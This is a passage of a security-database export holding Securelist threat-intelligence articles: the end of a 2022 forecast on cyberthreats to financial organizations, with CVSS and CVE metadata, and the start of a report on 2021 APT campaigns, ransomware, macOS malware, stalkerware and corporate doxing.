ransomware group exploited a critical SQL injection bug found in the BillQuick Web Suite time and billing solution to deploy ransomware on their targets' networks in ongoing attacks (CVE-2021-42258). \nAs these groups have deep pockets with all the money they have received from numerous attacks, we can expect more attacks exploiting N-days and 0-days to deliver ransomware to lots of targets.\n\n * _Cracking down hard on the cybercrime world. In 2020, OFAC [announced](<https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20201001>) that they would supervise any payment to ransomware groups. Then US Cyber Command [took down Trickbot](<https://www.cyberscoop.com/trickbot-takedown-cyber-command-microsoft/>) temporarily ahead of the elections. There should be an expansion of the "[persistent engagement](<https://www.npr.org/2019/08/26/747248636/persistent-engagement-the-phrase-driving-a-more-assertive-u-s-spy-agency?t=1604481013627>)" strategy to financial crime. There is also a possibility of economic sanctions against institutions, territories or even countries that show a lack of resolve to combat cybercrime that originates on their territory._\n\n**Yes.** With continued opposition to ransomware payments, OFAC made clear its view that making ransomware payments encourages future ransomware attacks and, if such payments (and related services and facilitation) violate US sanctions prohibitions, may expose payment participants to [OFAC sanctions enforcement](<https://www.insideprivacy.com/data-security/ofac-issues-updated-guidance-on-ransomware-payments/>). And while "the FBI understands that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers," the Updated Advisory strongly discourages all private companies and citizens from paying the ransom or extortion demands and recommends focusing on strengthening defensive and resilience measures to prevent and protect against ransomware attacks.\n\nThe [Updated Advisory on Potential Sanctions Risks for Facilitating Ransomware Payments](<https://home.treasury.gov/system/files/126/ofac_ransomware_advisory.pdf>) describes the potential sanctions risks associated with making and facilitating ransomware payments and provides information for contacting relevant US government \nagencies, including OFAC, if there is any reason to suspect the cyber actor demanding ransomware payment may be sanctioned or otherwise have a sanctions nexus.\n\nIn addition, a new proposed law compels US businesses to disclose any ransomware payments within 48 hours of the transaction. T[he Ransom Disclosure Act](<https://www.warren.senate.gov/newsroom/press-releases/warren-and-ross-introduce-bill-to-require-disclosures-of-ransomware-payments>) will:\n\n * Require ransomware victims (excluding individuals) to disclose information about ransom payments no later than 48 hours after the date of payment, including the amount of ransom demanded and paid, the type of currency used for payment of the ransom, and any known information about the entity demanding the ransom;\n * Require DHS to make public the information disclosed during the previous year, excluding identifying information about the entities that paid ransoms;\n * Require DHS to establish a website through which individuals can voluntarily report payment of ransoms;\n * Direct the Secretary of Homeland Security to conduct a study on commonalities among ransomware attacks and the extent to which cryptocurrency facilitated these attacks and provide recommendations for protecting information systems and strengthening cybersecurity.\n\nThe US Department of the Treasury recently sanctioned two virtual currency exchanges, which helped ransomware threat actors to process victims' payments. Back in September 2021, [SUEX](<https://home.treasury.gov/news/press-releases/jy0364>) got sanctioned and accused of money laundering. In November 2021, [Chatex](<https://home.treasury.gov/news/press-releases/jy0471>), which is directly connected to SUEX, also got sanctioned with similar charges, according to public information.\n\n * _With the special technical capabilities of monitoring, deanonymization and [seizing](<https://www.bbc.com/news/amp/technology-54833130>) of BTC accounts now in place, we should expect cybercriminals to switch to transit cryptocurrencies for charging victims. There is reason to believe they might switch to other privacy-enhanced currencies, such as Monero, to use these first as a transition currency and then convert the funds to any other cryptocurrency of choice including BTC._\n\n**No.** While the Department of Justice [seized](<https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside>) $2.3 million in cryptocurrency paid to the ransomware extortionists Darkside, other privacy and anonymity-focused cryptocurrencies such as Monero, Dash or Zcash, still aren't the default choice used by cybercriminal groups. With more regulatory pressure aimed at exchanges, threat actors attempting to cash out ransomware bounties obtained through anonymous coins could face additional difficulties than those that rely on Bitcoin or Ethereum for their illegal businesses. Even if the payments are traceable, different coin-mixing and coin-laundering underground services facilitate re-entering funds into the legitimate exchange ecosystem. Monero, among other similar cryptocurrencies, has been delisted (banned from operating) from popular exchanges. Using it for trading or simply swapping is not as easy as it used to be.\n\n * _Extortion on the rise. One way or another, cybercriminals targeting financial assets will rely on extortion. If not ransomware, then DDoS or possibly both. This could be especially critical to companies that lose data, go through an exhausting data recovery process and then have their online operations knocked out._\n\n**Yes.** 2021 saw the appearance of two new botnets. News broke in January of the FreakOut malware that attacks Linux devices. Cybercriminals exploited several critical vulnerabilities in programs installed on victim devices, including the newly discovered CVE-2021-3007. Botnet operators use infected devices to carry out DDoS attacks or mine cryptocurrency.\n\nCybercriminals also found a host of new tools for amplifying DDoS attacks.\n\nThe most significant event in Q1 was the COVID-19 vaccination program. As new segments of the population became eligible for vaccination, related websites [suffered interruptions](<https://securelist.com/ddos-attacks-in-q1-2021/102166/>). For example, at the end of January, a vaccine registration website in the US state of Minnesota crashed under the load.\n\nWe have seen how some groups like Egregor (arrested) extorted via massive LAN printing. Other groups rely on telephone calls, leaving voice messages and threatening employees and their families.\n\n## Key events in 2021\n\n * **Ransomware threat actor arrests**\n\nWith ransomware attacks going wild and stealing the headlines this year, law enforcement all around the world intensified their fight against ransomware groups. In 2021, we saw Egregor, one of the noisiest ransomware families, reborn from Sekhmet and previously from Maze, [get busted](<https://www.zdnet.com/article/egregor-ransomware-operators-arrested-in-ukraine/>). Another case in point is REvil, aka Sodinokibi, that came from GandCrab, which came from Cerber. In November, some of their affiliates [were arrested](<https://www.interpol.int/en/News-and-Events/News/2021/Joint-global-ransomware-operation-sees-arrests-and-criminal-network-dismantled>) as well. The arrest of [Yaroslav Vasinskyi](<https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya>) and the charges against Yevgeniy Polyanin are excellent examples of effective international cooperation in the cybercrime fight. \n\n * **Facebook incidents (a data breach in April and a data leak in October)**\n\nBecause of Facebook's rebrand and new mission announced by its CEO, the company's [data leaks](<https://www.bleepingcomputer.com/news/security/533-million-facebook-users-phone-numbers-leaked-on-hacker-forum/>) may represent a severe risk to their customers. Some companies have gone entirely virtual, and an account takeover could cause severe harm to their business or sales. \nWe also learned that Meta's goal is to consolidate people's lives, connecting them in all aspects of life, including financially. This concerns, for instance, money transfers and, potentially, other financial activities. With customers' plain text information disclosed by leaks on the internet, cybercriminals have gained new attack possibilities. \n\n * **Android Trojan bankers on the rise**\n\nThis year, we saw more Android Trojan bankers targeting users worldwide with a special focus on Europe, Latin America and the Middle East. In 2021, we have witnessed several families, such as RealRAT, Coper, Bian, SMisor, [Ubel](<https://twitter.com/dimitribest/status/1440737695571996673?s=20>), [TwMobo](<https://www.kaspersky.com.br/blog/hackers-brasileiros-exportam-virus-mobile-banking-twmobo/18026/>), [BRata](<https://securelist.com/spying-android-rat-from-brazil-brata/92775/>), and [BasBanke](<https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/>) actively targeting mobile users. Some of those campaigns are accompanied by social engineering where the threat actor calls the victim and sends a specially crafted text message with a download link leading to a malicious APK file after a short conversation.\n\n## Forecasts for 2022\n\n * **Rise and consolidation of information stealers**\n\nOur telemetry shows an exponential growth in infostealers in 2021. Given the variety of offers, low costs, and effectiveness, we believe this trend will continue. Additionally, it might even be used as a bulk collector for targeted and more complex attacks.\n\n * **Cryptocurrency targeted attack**\n\nThe cryptocurrency business continues to grow, and people continue to invest their money in this market because it's a digital asset and all transactions occur online. It also offers anonymity to users. These are attractive aspects that cybercrime groups will be unable to resist. \nAnd not only cybercrime groups but also state-sponsored groups who have already started targeting this industry. After the Bangladesh bank heist, the BlueNoroff group is still aggressively attacking the cryptocurrency business, and we anticipate this activity will continue.\n\n * **More cryptocurrency-related threats: fake hardware wallets, smart contract attacks, DeFi hacks and more**\n\nWhile in some regions cryptocurrency [has been banned](<https://www.nytimes.com/2021/09/24/business/china-cryptocurrency-bitcoin.html>), it has received official recognition and acceptance in others. And it's not just about El Salvador. For example, the Mayor of Miami [declared](<https://markets.businessinsider.com/news/currencies/miami-bitcoin-yield-miamicoin-crypto-francis-suarez-mayor-digital-wallet-2021-11?op=1>) that the City plans to start paying residents who use cryptocurrency, and he [stated on Twitter](<https://twitter.com/FrancisSuarez/status/1455562833006059528?s=20>) that he would receive his salary 100% in bitcoin. \nWhile some people consider it risky to invest in cryptocurrencies, those who do realize that their wallet is the weakest link. While most infostealers can easily steal a locally stored wallet, a [cloud-based one](<https://www.ledger.com/addressing-the-july-2020-e-commerce-and-marketing-data-breach>) is also susceptible to attacks with the risk of losing funds. Then there are hardware-based cryptocurrencies wallets. But the question is, are there sufficiently reliable and transparent security assessments to prove that they are safe? \nIn the scramble for cryptocurrency investment opportunities, we believe that cybercriminals will take advantage of fabricating and selling rogue devices with backdoors, followed by social engineering campaigns and other methods to steal victims' financial assets.\n\n * **Targeted ransomware \u2013 more targeted and more regional**\n\nWith the [international efforts](<https://www.interpol.int/en/News-and-Events/News/2021/Joint-global-ransomware-operation-sees-arrests-and-criminal-network-dismantled>) to crack down on major targeted ransomware groups, we will see a rise in small regionally derived groups focused on regional victims. \n\n * **The adoption of Open Banking in more countries may lead to more opportunities for cyberattacks**\n\nThe UK was the pioneer, but nowadays [many countries are adopting](<https://www.penser.co.uk/digital-banking/open-banking-in-countries-other-than-the-uk/>) it. As most of the Open Banking systems are based in APIs and Web API queries, performed by financial institutions, we can expect more attacks against them, [as pointed out by Gartner](<https://www.darkreading.com/threat-intelligence/cybercriminals-ramp-up-attacks-on-web-apis>): "in 2022, API abuses will move from an infrequent to the most frequent attack vector, resulting in data breaches for enterprise web applications."\n\n * **Mobile banking Trojans on the rise**\n\nAs [mobile banking experienced booming adoption](<https://www.forbes.com/sites/johnkoetsier/2020/04/15/report-35-85-fintech-growth-on-mobile-thanks-to-coronavirus-after-1-trillion-app-opens-in-2019/?sh=1399567b759a>) worldwide due the pandemic (in Brazil it represented 51% of all transactions in 2020), we can expect more mobile banking Trojans for Android, especially RATs that can bypass security measures adopted by banks (such as OTP and MFA). Regional Android implant projects will move globally, exporting attacks to Western European countries. \n\n * **Rise of threat to online payment systems**\n\nAmid the pandemic, many companies have gone digital and moved their systems online. And the longer people stay at home because of quarantine and lockdowns, the more they rely on online markets and payment systems. However, this rapid shift does is not accompanied by the appropriate security measures, and it is attracting lots of cybercriminals. This issue is particularly severe in developing countries, and the symptoms will last for a while.\n\n * **With more fintech apps out there, the increasing volume of financial data is attracting cybercriminals**\n\nThanks to online payment systems and fintech applications, lots of important personal information is stored on mobile. Many cybercrime groups will continue to attack personal mobile phones with evolved strategies such as deep fake technology and advanced malware to steal victims' data.\n\n * **Remote workers using corporate computers for entertainment purposes, such as online games, continue to pose financial threats to organizations**\n\nIn 2020, the number of gamers surpassed 2.7 billion, with the Asia-Pacific becoming the most active region. Even if video game platforms such as Steam reached all-time highs during April and May 2020, this year, Steam peaked at 27 million concurrent players in March. In our [Do cybercriminals play cyber games during quarantine?](<https://securelist.com/do-cybercriminals-play-cyber-games-during-quarantine/97241/>) article, we wrote that users relied on corporate laptops to play video games, watch movies and use e-learning platforms. This behavior was easy to identify because there was a boom in the Intel and AMD mobile graphic cards market in 2020-2021 compared to previous years. This trend is here to stay, and while during 2020, 46% of employees had never worked remotely before, now two-thirds of them state they wouldn't go back to an office, with the rest claiming to have a shorter office work week. \nCybercriminals spread malware and steal logins, in-game items, payment information and more through the use of video games such as Minecraft or Counter-Strike: Global Offensive. In addition, Hollywood blockbuster movies have become the perfect lure for those desperate to watch a film before it's released, and all from the comfort of their own homes. That was the case with the latest James Bond film, No Time to Die, with cybercriminals using adware, Trojans and ransomware to steal private information and even blackmailing victims who wanted their data back.\n\n * **ATM and PoS malware to return with a vengeance**\n\nDuring the pandemic, some locations saw PoS/ATM transaction levels drop significantly. Lockdowns forced people to stay at home and make purchases online, and this was mirrored in PoS/ATM malware too. As restrictions are lifted, we should expect the return of known PoS/ATM malware projects and the appearance of new projects. Cybercriminals will regain their easy physical access to ATMs and PoS devices at the same time as customers of retailers and financial institutions.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-23T10:00:13", "type": "securelist", "title": "Cyberthreats to financial organizations in 2022", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5544", "CVE-2020-3992", "CVE-2021-3007", "CVE-2021-30116", "CVE-2021-42258"], "modified": "2021-11-23T10:00:13", "id": "SECURELIST:C50F1C7ECAFB8BD5FDEDAA29493B81A6", "href": "https://securelist.com/cyberthreats-to-financial-organizations-in-2022/104974/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-05-31T11:03:47", "description": "\n\n## Targeted attacks\n\n### Putting the 'A' into APT\n\nIn December, SolarWinds, a well-known IT managed services provider, fell victim to a sophisticated supply-chain attack. The company's Orion IT, a solution for monitoring and managing customers' IT infrastructure, was compromised by threat actors. This resulted in the deployment of a custom backdoor, named Sunburst, on the networks of more than 18,000 SolarWinds customers, including many large corporations and government bodies, in North America, Europe, the Middle East and Asia.\n\nOne thing that sets this campaign apart from others, is the peculiar victim profiling and validation scheme. Out of the 18,000 Orion IT customers affected by the malware, it seems that only a handful were of interest to the attackers. This was a sophisticated attack that employed several methods to try to remain undetected for as long as possible. For example, before making the first internet connection to its C2s, the Sunburst malware lies dormant for up to two weeks, preventing easy detection of this behaviour in sandboxes. In [our initial report on Sunburst](<https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/>), we examined the method used by the malware to communicate with its C2 (command-and-control) server and the protocol used to upgrade victims for further exploitation.\n\nFurther investigation of the Sunburst backdoor revealed several [features that overlap with a previously identified backdoor known as Kazuar](<https://securelist.com/sunburst-backdoor-kazuar/99981/>), a .NET backdoor first reported in 2017 and tentatively linked to the Turla APT group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/01/08095035/Sunburst_backdoor_Kazuar_01.png>)\n\nThe shared features between Sunburst and Kazuar include the victim UID generation algorithm, code similarities in the initial sleep algorithm and the extensive usage of the FNV1a hash to obfuscate string comparisons. There are several possibilities: Sunburst may have been developed by the same group as Kazuar; the developers of Sunburst may have adopted some ideas or code from Kazuar; both groups obtained their malware from the same source; some Kazuar developers moved to another team, taking knowledge and tools with them; or the developers of Sunburst introduced these links as a form of false flag. Hopefully, further analysis will make things clearer.\n\n### Lazarus targets the defence industry\n\nWe have observed numerous activities of the Lazarus group over many years, with the threat actor changing targets depending on its objectives. Over the last two years, we have tracked Lazarus's use of ThreatNeedle, an advanced malware cluster of Manuscrypt (aka NukeSped), to target several industries. While investigating [attacks on the defense industry](<https://securelist.com/lazarus-threatneedle/100803/>) in mid-2020, we were able to observe the complete life-cycle of an attack, uncovering more technical details and links to the group's other campaigns.\n\nLazarus made use of COVID-19 themes in its spear-phishing emails, embellishing them with personal information gathered using publicly available sources. Once the victim opens an infected document and agrees to enable macros, the malware is dropped onto the system and proceeds to a multi-stage deployment procedure.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145116/lazarus_threatneedle_07.png>)\n\nAfter gaining an initial foothold, the attackers gathered credentials and moved laterally, seeking crucial assets in the victim's environment. They overcame network segmentation by gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the victim's intranet to their remote server.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24163703/lazarus_threatneedle_09.png>)[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/24164015/lazarus_threatneedle_12.png>)\n\nWe have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several other clusters belonging to the Lazarus group.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/18145822/lazarus_threatneedle_19.png>)\n\n### MS Exchange zero-day vulnerabilities exploited in the wild\n\nOn March 2, Microsoft released [out-of-band patches for four zero-day vulnerabilities in Exchange Server](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) that are being actively exploited in the wild (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065). The vulnerabilities allow an attacker to gain access to an Exchange server, create a web shell for remote server access and steal data from the victim's network.\n\nMicrosoft attributed the attacks to a threat actor called Hafnium, although other researchers have reported that there are also [other groups exploiting the vulnerabilities to launch attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>).\n\nOur [threat intelligence](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) indicates that companies across the globe have been targeted in attacks that exploit these vulnerabilities \u2013 with the greatest focus on Europe and the US.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/04171325/microsoft_exchange_expoit_map.png>)Kaspersky products protect against this threat with [behavior-based detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [exploit prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) components. We also detect and block the backdoors used in the exploitation of these vulnerabilities. Our EDR ([Endpoint Detection and Response](<https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr>)) solution helps to identify attacks in the early stages by marking suspicious actions with special IoA (Indicators of Attack) tags and by creating corresponding alerts.\n\nOur recommendations for staying safe from attacks using these vulnerabilities can be found [here](<https://securelist.com/zero-day-vulnerabilities-in-microsoft-exchange-server/101096/>).\n\n### Ecipekac: sophisticated multi-layered loader discovered in A41APT campaign\n\nA41APT is a long-running campaign, active from March 2019 to the end of December 2020, that has targeted multiple industries, including Japanese manufacturing and its overseas bases. We believe, with high confidence, that the threat actor behind this campaign is APT10.\n\nOne particular piece of malware from this campaign is called Ecipekac (aka DESLoader, SigLoader, and HEAVYHAND). It is a very sophisticated multi-layer loader module used to deliver payloads such as SodaMaster, P8RAT, and FYAnti which in turn loads QuasarRAT.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25134233/APT10_and_the_A41_APT_campaign_14.png>)The operations and implants of the campaign are remarkably stealthy, making it difficult to track the threat actor's activities. The threat actor behind the campaign implements several measures to conceal itself and make it more difficult to analyze. Most of the malware families used in the campaign are fileless malware and have not been seen before.\n\nWe believe that the most significant aspect of the Ecipekac malware is that the encrypted shellcodes are inserted into digitally signed DLLs without affecting the validity of the digital signature.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/25132856/APT10_and_the_A41_APT_campaign_05.png>)\n\nWhen this technique is used, some security solutions cannot detect these implants. Judging from the main features of the P8RAT and SodaMaster backdoors, we believe these modules are downloaders responsible for downloading further malware which we have so far been unable to obtain.\n\nYou can find out more about the campaign [here](<https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/>).\n\n## Other malware\n\n### Fake ad blocker, with miner included\n\nSome time ago, we discovered a number of fake applications being used to deliver a Monero crypto-currency miner to target computers. The fake programs are distributed through malicious websites that may be listed in the victim's search results. We believe this is a continuation of [a campaign last summer, reported by Avast](<https://blog.avast.com/fake-malwarebytes-installation-files-distributing-coinminer>), in which the malware masqueraded as the Malwarebytes antivirus installer. In [the latest campaign](<https://securelist.com/ad-blocker-with-miner-included/101105/>), we observed the malware impersonating several applications: the ad blockers AdShield and Netshield, as well as the OpenDNS service.\n\nOnce the victim has started the program, it changes the DNS settings on the device so that all domains are resolved through the attackers' servers: this prevents the victim from accessing certain antivirus sites. The malware then updates itself: the update also downloads and runs a modified Transmission torrent client, which sends the ID of the targeted computer, along with installation details, to the C2 server. It then downloads and installs the miner.\n\nData from Kaspersky Security Network showed that, from February 2021 until the time we published our report, there were attempts to install fake applications on the devices of more than 7,000 people. At the peak of the current campaign, more than 2,500 people were attacked each day, with most victims located in Russia and CIS countries. \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/05122816/01-en-ru-fake-adshield-miner-diagram.png>)\n\n### Ransomware encrypting virtual hard disks\n\nRansomware gangs are exploiting vulnerabilities in VMware ESXi to target virtual hard disks and encrypt the data stored on them. The ESXi hypervisor lets multiple virtual machines store information on a single server using the SLP (Service Layer Protocol).\n\nThe first vulnerability ([CVE-2019-5544](<https://www.vmware.com/security/advisories/VMSA-2019-0022.html>)) can be used to carry out [heap overflow attacks](<https://encyclopedia.kaspersky.com/glossary/heap-overflow-attack/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>). The second ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) is a [Use-After-Free (UAF) vulnerability](<https://encyclopedia.kaspersky.com/glossary/use-after-free/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) related to the incorrect use of dynamic memory during program operation. Once attackers have been able to gain an initial foothold in the target network, they can use the vulnerabilities to generate malicious SLP requests and compromise data storage.\n\nThe vulnerabilities are being exploited by [RansomExx](<https://www.kaspersky.com/blog/ransomware-in-virtual-environment/39150/>). The [Darkside](<https://www.infosecurity-magazine.com/news/darkside-20-ransomware-fastest/>) group is reportedly using the same approach; and the attackers behind the [BabuLocker Trojan](<https://twitter.com/campuscodi/status/1354237766285012992>) have also hinted that they are able to encrypt ESXi.\n\n### macOS developments\n\nTowards the end of last year, Apple unveiled machines powered by its own M1 chip, designed to replace Intel's processors in its computers. The Apple M1, a direct relative of the processors used in the iPhone and iPad, will ultimately allow Apple to unify its software under a single architecture.\n\nJust a few months after the release of the first Apple M1 computers, malware writers had already recompiled their code to adapt it to the new architecture.\n\nThese include the developers of XCSSET, malware [first discovered last year](<https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html>), which targets Mac developers by injecting a malicious payload into Xcode IDE projects on the victim's Mac. This payload is subsequently executed during the building of project files in Xcode. XCSSET modules are able to read and dump Safari cookies, inject malicious JavaScript code into various websites, steal files and information from applications such as Notes, WeChat, Skype, Telegram and others, and encrypt files. The samples we have observed include some compiled specifically for the Apple Silicon chips.\n\nSilver Sparrow is [another new threat](<https://redcanary.com/blog/clipping-silver-sparrows-wings/>) that targets the M1 chip. This malware introduces a new way for malware writers to abuse the default packaging functionality: instead of placing a malicious payload inside pre-install or post-install scripts, they hid one in the Distribution XML file. This payload uses JavaScript API to run bash commands in order to download a JSON configuration file. The sample extracts a URL from the "downloadURL" field for the next download. An appropriate Launch Agent is also created for persistent execution of the malicious sample. The JavaScript payload can be executed regardless of chip architecture, but analysis of the package file makes it clear that it supports both Intel and M1 chips.\n\nMost malicious objects detected for the macOS platform are adware. The developers of these programs are also updating their code to include support for the M1 chip, including the Pirrit and Bnodlero families.\n\nYou can find technical details, along with our FAQ on M1 threats, [here](<https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/>).\n\nCybercriminals don't just add support for new platforms: sometimes they use new programming languages to develop their 'products'. Recently, macOS adware developers have been paying more attention to new languages, apparently in the hope that such code will be more opaque to virus analysts who have little or no experience with the newer languages. We have already seen quite a few samples written in Go, and recently cybercriminals have turned their attention to Rust as well. You can read our analysis of a new adware program called Convuster [here](<https://securelist.com/convuster-macos-adware-in-rust/101258/>).\n\n### Secondhand news\n\nThere's a strong market in secondhand computing devices. Some of our researchers recently looked at [the security implications of buying and selling secondhand devices](<https://www.kaspersky.com/blog/data-on-used-devices/38610/>): their aim was to see what traces are left behind on laptops and other storage data when people sell them.\n\nThe overwhelming majority of the devices we investigated contained at least some traces of data \u2013 mostly personal but some corporate. Researchers were able to access data on more than 16% of the devices outright. A further 74% contained data that could be recovered using [file-carving](<https://en.wikipedia.org/wiki/File_carving>) methods. Only 11% of devices had been wiped properly.\n\nThe data recovered ranged from the harmless to revealing and even dangerous: calendar entries, meeting notes, access data for corporate resources, internal business documents, personal photos, medical information, tax documents and more. Some of the data could be used directly \u2013 for example, contact information, tax documents and medical records (or access to them through saved passwords). Other data could lead to indirect damage if exploited by cybercriminals.\n\nAside from the data that could be exposed, there's also a risk that malware left on a device could infect the new owner. We found malware on 17% of the devices we looked at.\n\nSellers need to consider what traces they might leave behind when they sell a device; and buyers need to think about the security of any secondhand device they buy.\n\nThe UK National Cyber Security Centre (NCSC) provides good [practical advice for buyers and sellers](<https://www.ncsc.gov.uk/guidance/buying-selling-second-hand-devices>).\n\n### Stalkerware during the pandemic\n\n[Stalkerware](<https://csr.kaspersky.com/en/antistalking/eng.html>) is commercially available software used to spy on another person via their device, without that person's knowledge or consent. Stalkerware is the digital tip of a very real-world iceberg. In a 2017 report, the European Institute for Gender Equality indicates that seven out of 10 women affected by online stalking have experienced physical violence at the hands of the perpetrator. The [Coalition Against Stalkerware](<https://stopstalkerware.org/>) defines stalkerware as software which "may facilitate intimate partner surveillance, harassment, abuse, stalking, and/or violence".\n\nThe number of people affected by stalkerware has been growing in recent years. We saw a fall in numbers in 2020, the drop-off coinciding with the worldwide lockdowns that came in the wake of the COVID-19 pandemic. This is hardly surprising: since stalking is typically carried out by someone the target lives with, if both abuser and target are housebound, there is less need to use technology to track someone's activities. Notwithstanding the _relative_ decline, 53,870 is a big number. Moreover, these are numbers of Kaspersky customers: no doubt the real figure is considerably higher.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/02/26124943/01-en-stalkerware-report.png>)The most commonly detected stalkerware sample in 2020 was Monitor.AndroidOS.Nidb.a. This app is re-sold under other names, so it is prominent in the market \u2013 iSpyoo, TheTruthSpy and Copy9 apps are all part of this family. Another popular application is Cerberus, which is sold as anti-theft smartphone protection and hides itself to avoid notice. Like genuine phone-finding apps, Cerberus has access to geo-location, can take photos and screenshots and record sound. Other high-ranking stalking apps include Track My Phone (which we detect as Agent.af), MobileTracker and Anlost.\n\n**Top 10 most detected stalkerware samples globally**\n\n| Samples | Affected users \n---|---|--- \n1 | Monitor.AndroidOS.Nidb.a | 8147 \n2 | Monitor.AndroidOS.Cerberus.a | 5429 \n3 | Monitor.AndroidOS.Agent.af | 2727 \n4 | Monitor.AndroidOS.Anlost.a | 2234 \n5 | Monitor.AndroidOS.MobileTracker.c | 2161 \n6 | Monitor.AndroidOS.PhoneSpy.b | 1774 \n7 | Monitor.AndroidOS.Agent.hb | 1463 \n8 | Monitor.AndroidOS.Cerberus.b | 1310 \n9 | Monitor.AndroidOS.Reptilic.a | 1302 \n10 | Monitor.AndroidOS.SecretCam.a | 1124 \n \nThe greatest number of stalkerware detections occurred in Russia, Brazil and the US.\n\n**Top 10 most affected countries by stalkerware \u2013 globally**\n\n| Country | Affected users \n---|---|--- \n1 | Russian Federation | 12389 \n2 | Brazil | 6523 \n3 | United States of America | 4745 \n4 | India | 4627 \n5 | Mexico | 1570 \n6 | Germany | 1547 \n7 | Iran | 1345 \n8 | Italy | 1144 \n9 | United Kingdom | 1009 \n10 | Saudi Arabia | 968 \n \nYou can read our full report on the subject [here](<https://securelist.com/the-state-of-stalkerware-in-2020/100875/>).\n\nStalkerware operates stealthily, so it's difficult for anyone targeted with such programs to see that it's installed on their device \u2013 they hide the app's icon and remove other traces of their presence.\n\nKaspersky is actively working to end the use of stalkerware, not just by detecting it but by working with partners. In 2019, Kaspersky and nine other founding members created the [Coalition Against Stalkerware](<https://stopstalkerware.org/>). Last year, we created [TinyCheck](<https://github.com/KasperskyLab/TinyCheck>), a free tool to detect stalkerware on mobile devices \u2013 specifically for service organizations working with people facing domestic violence. We are one of five partners in an EU-wide project aimed at tackling gender-based cyber-violence and stalkerware called DeStalk, which the European Commission chose to support with its Rights, Equality and Citizenship Program.\n\n### Doxing in the corporate sector\n\nWhen most people think of [doxing](<https://encyclopedia.kaspersky.com/glossary/doxxing/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), they tend to think it applies only to celebrities and other high-profile people. However, confidential corporate information is no less sensitive; and the financial and reputational impact resulting from the disclosure of such data means that any organization could become a victim of doxing. This is clear, for example, from the fact that several ransomware gangs now threaten to leak stolen corporate data to increase the likelihood that their victims will pay up.\n\nCybercriminals use a variety of methods to gather confidential corporate information.\n\nOne of the easiest approaches is to use open-source intelligence (OSINT) \u2013 that is, gathering data from publicly accessible sources. The internet provides a lot of helpful information to would-be attackers, including the names and positions of employees, including those who occupy key positions in the company: for example, the CEO, HR director and chief financial officer.\n\nInformation harvested from the online personal profiles of employees can be used to set up [BEC](<https://encyclopedia.kaspersky.com/glossary/bec/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (Business Email Compromise) attacks, in which an attacker initiates email correspondence with a member of staff by posing as a different employee (including their superior) or as a representative of a partner company. The attacker does this to gain the trust of the target before persuading them to perform certain actions, such as sending confidential data or transferring funds to an account controlled by the attacker.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/03/26124957/Corporate_doxing_01.png>)\n\nBEC attacks can also be used to collect further information about the company, or to gain access to valuable corporate data, or access to company resources \u2013 for example, credentials allowing access to cloud-based systems. \nThere are various technical tricks that cybercriminals use to obtain information relevant to their particular goals, including sending [email messages containing a tracking pixel](<https://www.kaspersky.com/blog/tracking-pixel-bec/36976/>) \u2013 often disguised as a "test" 